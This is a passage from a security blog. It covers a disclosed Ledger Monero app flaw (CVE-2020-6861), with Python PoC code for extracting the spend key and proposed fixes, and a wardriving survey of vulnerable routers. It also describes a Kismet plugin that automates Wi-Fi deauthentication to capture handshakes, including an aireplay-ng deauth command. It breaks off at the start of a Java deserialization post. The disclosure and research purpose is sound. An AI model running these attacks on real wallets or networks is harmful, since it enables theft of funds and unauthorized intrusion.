0xDEADC0DE

CVE-2020-6861: Ledger Monero App Spend key Extraction

Sat, 25 Apr 2020 09:00:00 +0200

CVE-2020-6861: Due to a bug in the Monero transaction signing protocol in the Ledger Monero app v1.4.2 we were able to extract master Monero spending key. The vulnerability is now fixed.

Intro

Monero is a privacy-centric cryptocurrency protecting the identity of participants and amounts being transacted. Monero support has been added to Ledger, cryptocurrency hardware wallet, in November 2018.

Sorry, your browser doesn't support embedded videos.

Monero basics - points and scalars

Zero to Monero is an excellent resource describing cryptography used in Monero from scratch. I recommend going through it if something is not clear in this post.

Monero is based on an elliptic curve Ed25519. Public keys are points on the Ed25519 curve $\mathbb{G}$, denoted as upper-case letters. Point $G$ is a known parameter called the base point. Points form a finite cyclic group, so operations of addition and subtraction are defined over points. Operation over two points results in another point on the curve. Points are encoded as 32 bytes.

Scalars are integers modulo $l$, i.e. $\mathbb{Z}^{*}_{l} $, where $l = 2^{252}$+27742317777372353535851937790883648493 is a curve order (number of points on the elliptic curve). Scalars are denoted as lower-case letters. As $l$ is a prime number, $\mathbb{Z}^{*}_{l}$ is a finite field, i.e., there are addition, subtraction, multiplication and division operations defined over the scalars.

Moreover, we have an operation called scalar multiplication, $bP = \overbrace{(P + P + \cdots + P)}^{b} = Q$, where $b \in \mathbb{Z}^{*}_{l}, P \in \mathbb{G}, Q \in \mathbb{G}$. Scalars also work as private keys, by computing $bG=B$ we get a public key $B$. Scalar multiplication in non-invertible, i.e., computation of $b$ from $B$ is not feasible (reduces to solving discrete logarithm problem). Scalars are encoded as 32 bytes.

Monero private keys

Monero wallet has a pair of private keys $(k^s, k^v)$ called spending and view key. Spending key is essential for spending owned Monero coins while view key is needed to determine whether transaction on the blockchain is for our account. Monero address contains public spend and view key, $(k^sG, k^vG) = (K^s, K^v)$.

Private keys $(k^s, k^v)$ are protected by hardware wallets in a way they never leave the device. Hardware wallets enables the user to use private keys only in a predefined way, i.e., the user has to confirm destination address and amount to be transacted before the hardware wallet uses keys to sign the transaction.

However, the view key $k^v$ is often exported from the hardware wallet and stored in the software wallet as it is needed for common read-only Monero operations. The software wallet with the view key can scan incoming transactions, determine whether we received any funds, and decode the value of those funds. This can be done without having the hardware wallet connected. Without exporting the view key, the hardware wallet would have to be connected, and cryptographic operations would have to be computed over each transaction in each block, which would be quite slow.

The view key is derived from the spend key. Thus the spend key $k^s$ is the main secret we aim to extract from the hardware wallet. Once extracted, the wallet is compromised, the attacker can transact all funds, which is game over.

Transaction signing

Signing a Monero transaction is more complicated than a Bitcoin transaction, for example. As hardware wallets (HWs) are resource-limited hardware, they cannot sign the whole transaction at once, and thus some transaction signing protocol has to be used to sign the transaction in a secure way, i.e., without leaking any secrets signing precisely what user confirms.

Ledger application implementing such Monero signing algorithm is https://github.com/LedgerHQ/ledger-app-monero. Documentation of the commands provided by the Monero application is here.

The Monero wallet then calls given commands in order to sign the transaction. Ledger’s transaction signing protocol runs low-level, i.e., operations provided by the HW app are usually simple commands. The operation’s input and outputs are protected by AES128-CBC (zero IV) and HMAC. Encryption key spk is derived from the spend key and remains the same for the whole life of the wallet. HMAC key hk is random, generated for each transaction. I denote scalars and points as sealed if they are encrypted and HMAC protected, i.e., not readable by the attacker.

Decryption oracle

The Ledger Monero app is implemented in C, but I will show the core ideas in python for brevity. Take a look at the sc_sub operation that shows how input and outputs are handled:

def sc_sub(a: SealedScalar, b: SealedScalar) -> SealedScalar:
  """Input: {a, b} scalars"""
  aa = hmac_and_decrypt(a, spk, hk)
  bb = hmac_and_decrypt(b, spk, hk)
  cc = (aa - bb) % l  # l is the curve order
  c = encrypt_and_hmac(cc, spk, hk)
  return c

There are few other operations provided by the HW app. Scalars either as inputs or function outputs are always encrypted, with one exception, the function mlsag_sign:

def mlsag_sign(alpha: SealedScalar, x: SealedScalar) -> Scalar:
  aa = hmac_and_decrypt(alpha, spk, hk)  
  xx = hmac_and_decrypt(x, spk, hk)
  ss = (aa - c * xx) % l  # c is part of the state
  return ss

Resulting scalars ss are public part of the MLSAG signature in the transaction; thus the output of mlsag_sign is not encrypted. Scalar c is part of the internal state, which we know (not important now).

Note that if we pass x=0 to the mlsag_sign, we obtain decrypting oracle as the function returns a decrypted scalar value of the alpha. For that, we need an encrypted version of a zero scalar, which we can obtain by calling zero = sc_sub(x, x) for any encrypted scalar value x. We can thus decrypt all private values sent over the protocol.

def decrypt_oracle(x: SealedScalar) -> Scalar:
  zero = sc_sub(x, x)  # can be reused
  xx = mlsag_sign(alpha=x, x=zero)
  return xx

If we could just pass $k^s$ (sometimes denoted also as b) to the decrypt_oracle we won. But there are a few more steps required.

Spend key extraction

There are few operations that enable work with stored spend and view keys. If such operations find 32 B placeholders C_FAKE_SEC_VIEW_KEY, C_FAKE_SEC_SPEND_KEY in the input, the real values are substituted to the input buffer, so the operation works with the real secret key values. The placeholders are known to the software wallet once transaction signing started, so the signing protocol can work with these secret values. Function taking care of the substitution is: monero_io_fetch_decrypt_key. The mlsag_sign operation does not support the placeholders, so we need to find another function suitable for the spend key extraction.

Observe the derive_secret_key:

def derive_secret_key(
    derivation: SealedPoint, 
    index: int, 
    secret: SealedScalar
  ) -> SealedScalar:

  D = hmac_and_decrypt(derivation)
  s = monero_io_fetch_decrypt_key(secret)  # Placeholder
  r = Hs(D || varint(index)) + s   
  res = encrypt_and_hmac(r, spk, hk)
  return res

The function computes $r=\mathcal{H}_s(D \; || \; \text{index}) + s$, where $\mathcal{H}_s: \{0,1\}^* \rightarrow \mathbb{Z}^{*}_{l} $ is a hash function to scalars and || is a binary concatenation.

As you noticed, Ledger Monero app makes no difference between point and scalar encryption, thus we can use them interchangeably. If we know the value of the $D$ (one known value is the encryption of zero) we also know the value of $\mathcal{H}_s(D \; || \; \text{index})$. Thus we can compute $s = r - \mathcal{H}_s(D \; || \; \text{index})$.

Spend key extraction is thus:

def poc1():
  C_FAKE_SEC_SPEND_KEY = monero_apdu_open_tx()
  x, X = generate_keypair()  # sealed scalar, clear point
  zero = sc_sub(x, x)
  r = derive_secret_key(zero, 0, C_FAKE_SEC_SPEND_KEY)
  rr = mlsag_sign(r, zero)
  b = r - H_s("\x00"*32 + "\x00")
  return b

The spend key b is extracted from the Monero app with just 5 API calls. No user interaction is needed. Ledger does not change any state or change the display, so the attack is unobservable by a normal user.

The PoC demonstrating the vulnerability is here.

Requirements

Connected Ledger, entered PIN, selected Monero app 1.4.2. Commit 7d6c5f5573c4c83fe74dcbb3fe6591489bae7828.
Usually, when sending a transaction, setting up the Monero wallet.
If the master view key was not exported, then the scenario happens with each blockchain scanning.

Impact

No user confirmation is required to mount the attack.
The user is not notified about the transaction being in progress. No error is shown. The display does not change.
The user has no chance to notice his master spend key was extracted.
The exploitation was possible from the initial protocol deployment date. User spend keys could have been silently exfiltrated without users knowing. There is no way to tell whether this attack was executed in the wild.
All existing wallets (spend keys) should thus be considered leaked and not secure to use.
Ledger Monero app v1.4.2 did not support changing the BIP-44 derivation path for Monero master key derivation, thus users were not able to use Ledger to store Monero securely if they used it with the Monero before. In the newest app version the derivation path can be changed so all users should use derivation paths not affected by this vulnerability.

Timeline

2. Jan 2020: vulnerability discovery
3. Jan 2020: vulnerability report sent
5. Jan 2020: Response from Ledger, investigation started
11. Jan 2020: Response from Ledger acknowledging the vulnerability, working on fixes
16. Jan 2020: Interactive discussion started, refining countermeasures
6. Feb 2020: Final source code ready
2. Mar 2020: Monero app 1.5.1 released fixing all vulnerabilities found

Ledger reacted promptly, the cooperation was nice and seamless, and I enjoyed the work with them. I was also awarded under the bug bounty program.

Extras

A few interesting PoC improvements and observations follow.

sc_sub removal is not enough

The function sc_sub is not used by the Monero wallet. Thus one simple countermeasure would be to remove sc_sub from the Ledger Monero app. But as we show, it is easy to simulate sc_sub with the sc_add in the following way.

It holds that $lx = 0 \; (\text{mod} \; l) $, where l is the curve order. Thus $(l-1)x = -x \; (\text{mod} \; l)$.

We show an algorithm that can be used to generate a sealed version of an arbitrary scalar value $x$.

Call monero_apdu_generate_keypair to obtain sealed scalar $\widehat{a}$ and public point A.
Use decrypt oracle to obtain $a$, so we have plaintext-ciphertext pair.
As value of $a$ is known, finds its multiplicative inverse $a^{-1}$.
Construct a base $\mathcal{B} = \{ \widehat{2^ia}, i \in [1, 252] \} $ by calling sc_add. E.g., $\text{sc_add}(\widehat{a}, \widehat{a}) = \widehat{2a}$, $\text{sc_add}(\widehat{2a}, \widehat{2a}) = \widehat{4a}$, etc. 251 function calls to sc_add is needed.
Construct set $\mathcal{I} = \{i \; | \; 2^i \; \% \; xa^{-1} = 0 \}$, i.e., positions where binary representation of $(xa^{-1})$ has ones.
Use addition to compute: $\sum_{i\in\mathcal{I}} \mathcal{B}_i = \sum_{i\in\mathcal{I}} \widehat{2^ia}$ = $\widehat{a(xa^{-1})} = \widehat{x}$

Thus we obtain an encrypting oracle, i.e., we can construct a valid sealed version of a known scalar. The base $\mathcal{B}$ is independent of the input $x$ ad thus can be reused.

The algorithm can also be used to obtain encryption of zero or get negative value of a sealed scalar $\widehat{y}$:

Construct a base $\mathcal{B} = \{ \widehat{2^iy}, i \in [1, 252] \} $ by calling sc_add. E.g., $\text{sc_add}(\widehat{y}, \widehat{y}) = \widehat{2y}$, $\text{sc_add}(\widehat{2y}, \widehat{2y}) = \widehat{4y}$, etc. 251 function calls to sc_add is needed.
Construct set $\mathcal{I} = \{i \; | \; 2^i \; \% \; (l-1) = 0 \}$, i.e., positions where binary representation of $(l-1)$ has ones.
Use addition to compute: $\sum_{i\in\mathcal{I}} \mathcal{B}_i = \sum_{i\in\mathcal{I}} \widehat{2^iy}$ = $\widehat{y(l-1)} = \widehat{-y}$

Note that there are 251 (scalar base) + 73 (number of 1s in $l-1$) + 1 = 325 sc_add evaluations needed to get an additive inverse. Similarly, if $(l-1)$ is substituted by $l$ we obtain an encryption of zero.

PoC v2, more general

We wanted to design a more general PoC that would underline the true problem of the protocol that would survive several simple countermeasures such as removal of sc_add and sc_sub functions. The primary problem is the reuse of the alpha parameter in the mlsag_sign which should be random and never reused.

Here follows the more general PoC v2, which is described later.

Get $A$ (public view key) from the Ledger or the wallet address (doable off-line).
Find a scalar $x$, while the following holds:
- $Pb = \text{encode_point}(8xaG)$, where $P = 8xaG = 8xA$
- $Pb = \text{encode_scalar}(\text{decode_scalar}(Pb))$
- i.e., the encoding $Pb$ of the point $P$ can be interpreted both as an EC point $P$ and as a scalar $p$ (without modular reduction required)
- This is performed offline, in the PoC, card interaction is not required as we have $A$
Call monero_apdu_generate_key_derivation$(xG, \text{C_FAKE_SEC_VIEW_KEY})$ to obtain $\widehat{8a(xG)} = \widehat{P}$. We thus know plaintext-ciphertext pair for a known point $P$.
Call monero_apdu_derive_secret_key$(\widehat{P}, 0, \text{C_FAKE_SEC_SPEND_KEY})$ to get $\widehat{s} = \widehat{\mathcal{H}_s(P||0) + b}$, where $b$ is the spend key.
Call mlsag_hash(p2=1, opt=0x80), which returns $c$ as plaintext scalar.
Call mlsag_sign$(\widehat{s}, \widehat{p})$
- We obtain $r = s - cp = (\mathcal{H}_s(P||0) + b) - c*(8xaG)_{\text{scalar}}$
- Note the $p$ is now decoded as a scalar value, thus $p=(8xaG)_{\text{scalar}}$ is scalar value obtained by decoding the serialized EC point $(8xaG)$ as scalar. We know the cleartext value of $p$ from construction.
- Compute the master spending key $b$ as $b = r - \mathcal{H}_s(P||0) + cp$
- We can compute $\mathcal{H}_s(P||0)$ as $P$ plaintext value is known.

Notes

As encryption of scalars and points are the same, we can use this type confusion to find a value that can be interpreted in both ways, i.e., a valid EC point and a valid Ed25519 scalar. This is useful to construct a derivation, which is basically ECDH derivation, which goes encrypted to the monero_apdu_derive_secret_key. Note there is only function monero_apdu_generate_key_derivation that returns encrypted EC points. The same value of P is in step 6 used as a known scalar to obtain decrypting oracle.

According to the numerical simulation, the $E[\text{steps_finding_x}(A)] = 15$, i.e., on average in 15 steps we find suitable $x$ value. Which corresponds to a fact that EC points are distributed more/less equally on the 32 bytes (256 bits). The scalars occupy 252 bits which gives $2^{256-252}=16$.

The attack uses only a small set of functions, all function calls besides the last one mlsag_sign() are legit and could appear in the normal transaction construction process. It is thus hard to prevent this from working. Used functions:

reset
set_mode
open_tx
gen_derivation
derive_secret_key
mlsag_hash
mlsag_sign

Observations

Scalars / points can be used interchangeably in the protocol. This type confusion is a significant vulnerability. Especially when the attacker manages to obtain known plaintext-ciphertext pair, which can then later be used in both contexts (scalar, point). Knowing the plaintext value is important for the computation of Hs(P||0) and c*P elimination.
When the view key is extracted (for faster blockchain scanning), the leak of a plaintext-ciphertext pair cannot be prevented for scalars, as the attacker knows a and can use C_FAKE_SEC_VIEW_KEY to make Ledger compute scalars with a. E.g., monero_apdu_derive_secret_key(P, 0, C_FAKE_SEC_VIEW_KEY) can be used to construct scalar plaintext-ciphertext pair.
mlsag_sign is important for all attacks as it returns an unencrypted scalar value from originally encrypted scalar inputs. It is used as a decryption oracle.

Countermeasures

To make the protocol secure against the mentioned family of attacks the aforementioned weak spots have to be eliminated.

Remove simple scalar functions

As correctly proposed by the Ledger, removing sc_sub() and sc_add() helps significantly. As demonstrated in the previous report, the attacker can construct many usable scalar values that can be later used in the attack.

User confirmation / notification

As the HMAC key is changed with each new transaction, the user should be explicitly asked to confirm the transaction signing process once open_tx() is called in the real transaction mode. I.e., Ledger should ask the user whether he wants to continue with the transaction signature. The user confirms by pressing a button.
User confirmation is required to mount any attack. Attack surface is thus reduced to the point when the user is actively sending a new transaction, the time window is significantly reduced.
Ledger should display information on the display when open_tx was called, even for fake transactions (used during the transaction assembly process, can be called several times before a real transaction that meets the requirements is assembled). Any display change would be nice, so the user is able to notice that Ledger is performing some tasks.
When the transaction is finished with error (e.g., some security assertion fails), the user should be notified on the screen and optionally asked for confirmation to continue in normal operation. The attacker thus cannot just flash the error message over a short period of time without the user noticing.
Some other attacks we considered require more transaction openings so limiting it by requiring the confirmation lowers the attack surface significantly.

Proper input validation

If any assertion fails (non-reduced scalar, EC point not lying on the curve), abort the transaction, reset keys, notify the user and ask for confirmation to continue.
Stronger requirement: if the assertion fails, ask for PIN re-entry.

Symmetric key hierarchy

This is the primary countermeasure that blocks all attacks we considered. For the sake of simplicity, we will assume just HMAC keys for now and address spk key later.

The HMAC key hk is changed with each new transaction (as now)
HMAC key used for particular parameters is derived from hk based on the following
- Value type, scalar or point
- Content-type, derived secret or random scalar mask
- Function calling context. e.g., alpha in mlsag_sign.
Encrypted values are thus usable only in a particular context, i.e., the context with the same HMAC key.
This also prevents the type confusion.

Example:

H(hk || "0") HMAC key for EC points - derivation
H(hk || "1") HMAC key for scalars
H(hk || "2") HMAC key for random scalar masks alpha
H(hk || "3") HMAC key for amount key

Other EC points than derivations are not exported in an encrypted form in the protocol. If there are more EC point types later, differentiate them.

Ideally, the encryption key should also be changed with each new transaction (random), if possible. Definitely, for values we are sure were produced after open_tx(). Thorough protocol analysis or just simple testing will reveal which values need to have fixed spk key. We would suggest to start testing this improvement with the encryption key spk being randomly generated after open_tx(). After transaction finish/abort the key is reverted back to static spk.

Different encryption key strictly limits attacker to the scope of one transaction with respect to the data confidentiality, which is useful for security arguments. I.e., no long-term analysis and data collection can be performed.

The specified HMAC key hierarchy is also usable for encryption, which decreases the attack surface significantly as values are valid only in a particular context. This is especially important as the initialization vector (IV) is zero = encryption has no semantic security, i.e., the same plaintexts encrypt to the same ciphertexts. The zero IV allows the attacker to test values for equality without knowing the plaintext values.

The key hierarchy significantly restricts the potential combinations attacker can use, restricting to explicitly allowing ones by the protocol designer.

MLSAG Sign

Recall $\text{mlsag_sign}(\alpha, x) = \alpha - cx$, where:

$c$ is parameter known to attacker
$\alpha$ is a random scalar
$x$ is a secret scalar value

Notice that if $\alpha$ is allowed to be used more than once, we have a decryption oracle:

$\text{mlsag_sign}(\alpha_1, x_1) = r_1$
$\text{mlsag_sign}(\alpha_1, x_2) = r_2$
$r_1 - r_2 = (\alpha_1 - cx_1) - (\alpha_1 - cx_2) = \alpha_1 - cx_1 - \alpha_1 + cx_2 = c(x_2-x_1)$
As $c$ is known, attacker can recover $x_2-x_1$. If attacker knows a plaintext value for one scalar secret, let say $x_1$ he can recover scalar value for $x_2$.
$x_1$ can be constructed by calling $\text{monero_apdu_derive_secret_key}(P, 0, a)$ as we usually know $a$ as it was exported to the client and we know the value of $P$.
Similarly, if $x_1$ is known, then $\alpha_1 = r_1 - cx_1$.
We do not consider type confusion and other attacks as those are eliminated by key hierarchy.

Monero currently uses only the MLSAG_SIMPLE signature scheme. The MLSAG_FULL is not needed with Bulletproof transactions, and thus, Ledger does not have to support it. This reduces the attack surface and simplifies countermeasures design. Thus it holds that mlsag_prepare() is called only once per signature (for non-multisig transaction), followed by exactly one mlsag_sign() call (it holds dsRows==1).

We propose to extend the state by adding a sign_counter, which is incremented in the beginning of the mlsag_prepare() call and after the mlsag_sign(). The encryption and HMAC keys for $\alpha$ are then derived as: $\mathcal{H}(hk || \text{“alpha”} || \text{sign_counter})$.

This guarantees that only $\alpha$ generated by the mlsag_prepare() can be passed to the mlsag_sign() as the first $\alpha$ parameter. Separation of $\alpha$ and $x$ domains via different keys restricts the attack surface.

It is easy to show that if $\alpha$ is a random scalar, then the attacker can derive no information about $x_1$ from $\alpha - cx_1$. The reason is that $\alpha$ can be generated only in mlsag_prepare() and used only in mlsag_sign() as a first parameter, nowhere else. It is essential that $\alpha$ can be used only once as input to the mlsag_sign(). Otherwise, the attacker can eliminate it.

Thus the attacker can derive no information about $\alpha$ using other functions than mlsag_sign() as it fails HMAC check in those. The attacker could learn $\alpha$ if he knows decryption of $x_1$, but such $\alpha$ is just a random scalar, and this knowledge cannot be reused in another mlsag_sign() call, making the knowledge useless.

Strict state model checking

Due to the low-level nature of the API functions, it is difficult to capture the explicit state model as the function call flow highly depends on the transaction being signed, i.e., a number of inputs, outputs, use of sub-addresses, UTXO (unspent transaction outputs) types - aux keys used, etc…

However, the more the state model is restricted, the smaller is the attacker space. It is recommended to study the valid transaction construction paths and enforce obvious state transitions.

For instance, enforce a rule that the mlsag_prepare() has to be followed exactly by the mlsag_hash() (several times, depends on mixin, not critical to enforce number of the mlsag_hash() calls). Enforce that the mlsag_sign() can be called only after the mlsag_hash() and only once per mlsag_prepare(). Ideally if the mlsag_sign() increments the sign_counter as well after it computes the ss result, to enforce state change, which prevents malicious state transitions.

Client change: Commit to the {mixin, number of UTXO, number of transaction outputs} in the initial open_tx() call. Then enforce the rule that a number of calls to the mlsag_prepare() and mlsag_sign() has to be equal to the number of UTXO (as we have one signature per UTXO).

Note the basic state model enforcement can be done without changing the client. However, a more precise check requires to commit to the number of transaction inputs.

Conclusion

All aforementioned fixes are directly applicable on the Ledger side without the need to touch the Monero codebase. The mentioned changes fix the whole family of attacks similar to those presented and effectively blocks the main attack vectors and leaks.

It is thus possible to fix the critical vulnerability without need to release a new Monero client version, which significantly speeds up the patch roll-out.

Client-changing countermeasures

Here follow the measures that require client modifications to work. They improve security significantly but are not necessary to block the vulnerability.

Encrypt-then-reveal

We propose not to return plaintext values from mlsag_sign() directly, but to return encrypted versions, under a new, transaction-specific encryption key kse, which is used specifically for this purpose.

After the transaction is successfully constructed, i.e., no security assertion was violated, the Ledger returns the kse to the host client so it can decrypt the MLSAG signature.

This countermeasure strictly enforces correct state transitions and blocks the attacker’s reactivity. I.e., the attacker cannot use results from the previous mlsag_sign() calls to adapt an attacking strategy as he learns the result only after the protocol finishes successfully. This property is important for security proofs and to strictly guard the potential attacker space.

This change is very easy to implement and brings significant security benefits. However, it requires a minor client code change.

We recommend using this measure with a new Ledger Monero protocol version. After some time (all users migrate to new Monero clients enforcing new signing protocol), the support for unencrypted mlsag_sign() can be dropped.

Support multiple BIP derivation paths

Allow user to specify BIP derivation path (or its part) when creating the wallet from the Ledger device to allow multiple cryptographically separated master (view, spend) keys derived from the seed.

Ledger Monero app Version 1.4.2 has a fixed derivation path, which blocks the user from using a new set of keys with the same device seed.

For example, each user should consider current master keys leaked and dangerous to use. He cannot then use Ledger device without seed reset, which affects all other apps on the Ledger, i.e., the Bitcoin app.

With the fixed path user also cannot transfer all funds to another safe address without using software wallet (risk of spend key leak) or another Ledger device.

If the user can specify another path, the migration to a safe (non-leaked) account is simple. The user creates another wallet with a different path and sweeps the old account to the new one.

Strict state model checking

As mentioned in the similarly named section above, the more precise checking can be done if the open_tx() transaction message contains information about mixin, number of UTXOs, and transaction outputs.

Summary

Ledger implemented suggested countermeasures. Follow their site for more details.

Resources recap:

PoC repository https://github.com/ph4r05/ledger-app-monero-1.42-vuln
Affected Ledger Monero app version https://github.com/LedgerHQ/ledger-app-monero/tree/7d6c5f5573c4c83fe74dcbb3fe6591489bae7828
Protocol documentation: https://github.com/LedgerHQ/ledger-app-monero/blob/master/doc/developer/blue-app-commands.pdf
Affected Monero app version with fixes enabling the build on Ledger Nano S with 1.6.0 firmware https://github.com/ph4r05/blue-app-monero/

We’ve designed and implemented another Monero transaction signing scheme for Trezor hardware wallet. More on the topic:

Our eprint paper https://eprint.iacr.org/2020/281 in an extended version describing transaction signing protocol plus multi-party evaluation of Bulletproofs
Transaction signing implemented in the Trezor firmware
Python implementation and various tools: https://github.com/ph4r05/monero-agent

Wardriving Bratislava 10/2016

Sat, 05 Nov 2016 07:00:00 +0100

TL;DR: Wardriving in Bratislava, Slovak Republic capital city, 8 months after contacting UPC about the flaw in their insecure default password generation.

Intro

In the previous article, UPC UBEE EVW3226 WPA2 Password Reverse Engineering, we analyzed UPC UBEE router and found serious flaws in generating a default password for the WiFi. People using the default password were in potential danger, attackers could tamper with the router or their LAN.

A part of the article was also Wardriving in Brno, Czech Republic. We discovered there were vulnerable routers out there. After 8 months we found it interesting to repeat the wardriving experiment in a different city to see whether the pattern changed.

Setup

Motorola Moto G Android phone with WiGLE WiGLE Wifi application
Ovislink Airlive WL-1600USB + 5dBi antenna running with the Kismet

Methodology

We carried out only the passive Wardriving with 2 measurement devices on board of the car. The cruise speed was kept low, around 10 kmph in dense residential urban areas of Bratislava (mainly Petrzalka) in the middle of the night. At some more interesting places we stayed for a longer time.

Then for a random sample verification we passively captured WPA2 handshake for 20 WPA2 protected networks and performed the password check - for UBEE it matched in 100% cases.

The fun thing about 2 guys in the car going 10 kmph in the middle of the night in the dark streets is that you either look as a drug dealer or looking for one. At one dark street two weird hooded guys started approaching us, maybe thinking one of the two above so we decided to move to another place. We did not encounter any police car whatsoever during the experiment.

Results

Wardriving experiment took place 01/10/2016.
Dark dots represent non-categorized WiFi
Blue markers correspond to ^UPC SSID pattern (excluding UPC WiFree)
Green markers are UBEE routers with ^UPC[0-9]{7} SSID

The original KML map data are available for download, for older Brno experiment and this new Bratislava experiment. To get the idea on how wifileaks dataset is geo distributed we sampled 20k UPC networks from 2015-2016 from the wifileaks dataset to the wifileaks KML (sampling was necessary as the original dataset is too large to plot on GoogleMaps, all non-UPC networks were excluded from the dataset).

By plugging KML files to the GPS Visualizer you can browse the map interactively. Here is the online interactive wardriving map for Bratislava (2 or 3 WiFis are obviously mis-localized as we have never been to Cunovo). For completeness we provide also the online interactive wardriving map for Brno and sample of the wifileaks interactive map.

Below are the results from the Wardriving experiment, combining both data sets - Wiggle and Kismet.

Statistic - Bratislava 1.10.2016	Count	Ratio
Total networks	22 172
UPC networks	3 092	13.95 %
UPC vulnerable	1 327	42.92 % UPC
UPC UBEE vulnerable	822	26.58 % UPC
UPC Technicolor vulnerable	505	16.33 % UPC
UBEE changed	205	19.96 % UBEE
Technicolor changed	96	19.00 % Tech.
Compal CH7465LG	930	30.08 % UPC

For the comparison we state the similar table from the previous wardriving in Brno:

Statistic - Brno 10.2.2016	Count	Ratio
Total networks	17 516
UPC networks	2 868	16.37 %
UPC vulnerable	1 835	63.98 % UPC
UPC UBEE vulnerable	443	15.45 % UPC
UPC Technicolor vulnerable	1 392	48.54 % UPC
UBEE changed	98	18.11 % UBEE
Technicolor changed	304	17.92 % Tech.
Compal CH7465LG	0	00.00 % UPC

The more detailed analysis of the datasets are available: Brno dataset results and new Bratislava dataset results.

Discussion

The Technicolor vulnerable data count is based on the known MAC addresses of the router that we detected to respond to the Blasty attack.

Interestingly the amount of UBEE routers with changed password is about the same 18%. This may represent sample of users changing the default settings more globally. This pattern moreover holds also in the Wifileaks analysis from the previous article. The ratio of people leaving the router in default settings is disturbingly high.

Technicolor routers ratio dramatically dropped in Bratislava compared to Brno (48.54 % to 16.33 %). UBEE routers also had a slight drop (19.96 % to 15.45 %) but we have to conclude that 8 months after reporting vulnerabilities to UPC the situation does not look much different…

UPC drafted a solution with captive portal making users change their default passwords. Apparently this feature was not present in the UBEE firmware update which was rolled out in 20.9.2016. My own router has a new firmware with version EVW3226_2.07b, in the time of writing the first article it was EVW3226_1.0.20. It would be interesting to test how many vulnerabilities were fixed…

Another new interesting observation is a new router type detected in the data. It is Compal CH7465LG also called a Mercury modem by UPC. The typical SSID matches the regex pattern ^UPC[0-9A-F]{7}, it contains also hex digits. The example password (from the linked user manual is): x*Hz6mh4ppdcx which looks quite complicated. But if the same pattern is followed the brute-force search space can be reduced.

The router was extensively analysed by other researchers, here is the 100 pages long Compal CH7465LG evaluation report. They found 35 vulnerabilities in this router (11 found in UBEE). So it looks much worse in many aspects compared to UBEE. Allegedly the password generation routine is implemented in a secure way. We would like to verify this so if somebody has firmware dumps or the hardware itself we are interested in buying the piece for analysis. Let us know at yolosec.team@gmail.com.

The router looks like this:

To conclude the dataset results it seems that UPC decided not to deal with UBEE and Technicolor vulnerabilities in any direct manner. It is maybe much easier and economical to let those routers go out of the market by making users upgrade to new Compal routers.

On a side note: after I searched this router a bit when analysing wardriving results I started seeing adds like this:

Yep, that’s the router I am talking about. UPC is asking me to upgrade to mega-strong UPC WiFi router (security swiss cheese).

Bonus: photos

Due to popular demand, here are some photos from the wardriving action. We rode streets of Bratislava in the evening and early morning hours and went to bunch of interesting places and “landmarks” such as Grassalkovich Palace (seat of Slovak president), UPC headquarters and Bonaparte complex (infamous residence of Slovak prime minister). It seems that neither our president or prime minister is using UPC UBEE router, luckily for them.

Active WiFi deauth with Kismet for Wardriving

Sat, 05 Nov 2016 06:00:00 +0100

TL;DR: Actively sniffing WPA2 handshakes during the wardriving with sending deauth packets.

Kismet active deauth

During our wardriving experiments we were flirting with an idea of active wardriving to validate our results on vulnerability of the routers. We had to abandon this idea due to legality issues. But it initiated our curiosity on how complicated it is to build such setup.

In order to test the WPA2 password, the first thing you need is to capture WPA2 handshake, this you can do by sniffing WiFi transmission (in monitor mode) by airodump-ng utility.

Once you have that you can try the dictionary/bruteforce attack offline on the handshake. Handshake occurs only when a client connects to the network. This event is quite rare as many devices keep persistent WiFi connection. You would have to wait until somebody walks in/out from the range of the WiFi access point with the smartphone in the pocket or something like that.

To get the handshake you can actively deauthenticate the client from the network by sending a special deauth packet to the client. For this you obviously need an existing client in the network and antenna & transmitter strong enough so your packet hits the client.

This causes client to drop the connection to AP and reconnect again. Here you can capture the new handshake and then attack offline, out of the AP WiFi reach.

The following command sends 3 deauth packets to the client 22:33:44:55:66:77 connected to AP with BSSID 00:11:22:33:44:55 via interface wifi0. Wifi0 has to be in the monitor mode and driver need to support packet injection.

/usr/sbin/aireplay-ng -0 3 -D -a 00:11:22:33:44:55 -c 22:33:44:55:66:77 wifi0

Automation

We were thinking about automating this deauth & handshake collection during the wardriving. For this the Kismet is an ideal candidate. It is quite good tool for wardriving and moreover it provides a nice API for plugins via sockets.

So we created a kismet-deauth-plugin in python. For more detailed information on using the plugin please see the GitHub repo readme.

For this you need 2 WiFi interfaces to work smoothly:

Is running Kismet, jumping over channels and collecting stats about networks and connected clients. Should have a very high gain. Listening only.
Is for collecting handshakes and actively deauthenticating clients. Ideally you need a strong transmitter on this one to successfully hit the client with deauth packet, something like Alpha.

It works in the following way:

You start the Kismet with the kismet server as you do usually.
Kismet server listens on a socket 127.0.0.1:2501 - here we can register event handlers and listen for it.
In a new terminal you run our python plugin which performs the following if a new client is detected
- Starts airodump-ng on given channel
- Sends 3 deauth packets to the client
- Stops airodump-ng after 10 seconds.

Plugin goes according to the priority queue which is built on the client list. The newer client has higher priority.

Testing

We were testing this in our home network, the plugin worked quite well. We were able to automatically capture WPA2 handshakes with this. Unfortunately after some time the driver for deauth card broke. Drivers were not stable enough to support this approach for longer than 30 minutes.

Use-case

As some commenter on Reddit pointed out, this approach is not new. That’s correct, deauth is pretty old stuff. Our contrinution is a demonstration of an automatic deauth + handshake collection without manual intervention, with Kismet and simple plugin. You drive the car, the plugin tries to deauth interesting clients and collect handshakes. Without even touching a keyboard. I was not able to find such stuff (we also needed some filtering, priority, …) so I implemented it.

After the experiment you can run some dictionary attack for all collected data and typically crack some default passwords, routers with default ones (e.g., admin, tplink, airlive), routers with flaws in default password generation - UPC. This may come handy also for hacking IoT in a large scale. This approach is good for mass attacks in a large area, not for targeted attack against one particular victim.

Disclaimer

Actively deauthenticating client is illegal, you should do this only in your own network. We declare we didn’t use the plugin in the wild outside the controlled environment.

Blind Java Deserialization - Part II - exploitation rev 2

Sun, 18 Sep 2016 08:00:00 +0200

TL;DR: The practical exploitation of the blind java deserialization technique introduced in the previous blog post. Practical demonstration of the victim fingerprinting and information extraction from the system (properties, files).

Parts:

Introduction
Testing
Building the payloads dynamically
JSON spec
String extraction
Exploitation
Demo

Introduction

In the Part 1 of our article we introduced a concept of blind Java Deserialization using Apache CommonsCollections exploit classes.

Apache CommonsCollections is a popular Java library that can get into the project also via transitive dependencies. Vulnerable application can run on arbitrary Servlet container (Tomcat, JBoss, WebSphere). Application is vulnerable if it contains CommonsCollections <= v3.2.1 or <= v4 on the Classpath and deserializes data provided by user (e.g., web page input, RMI, JMX). The serialized Java object starts with rO0 in base64 and ac ed 00 05 in hex.

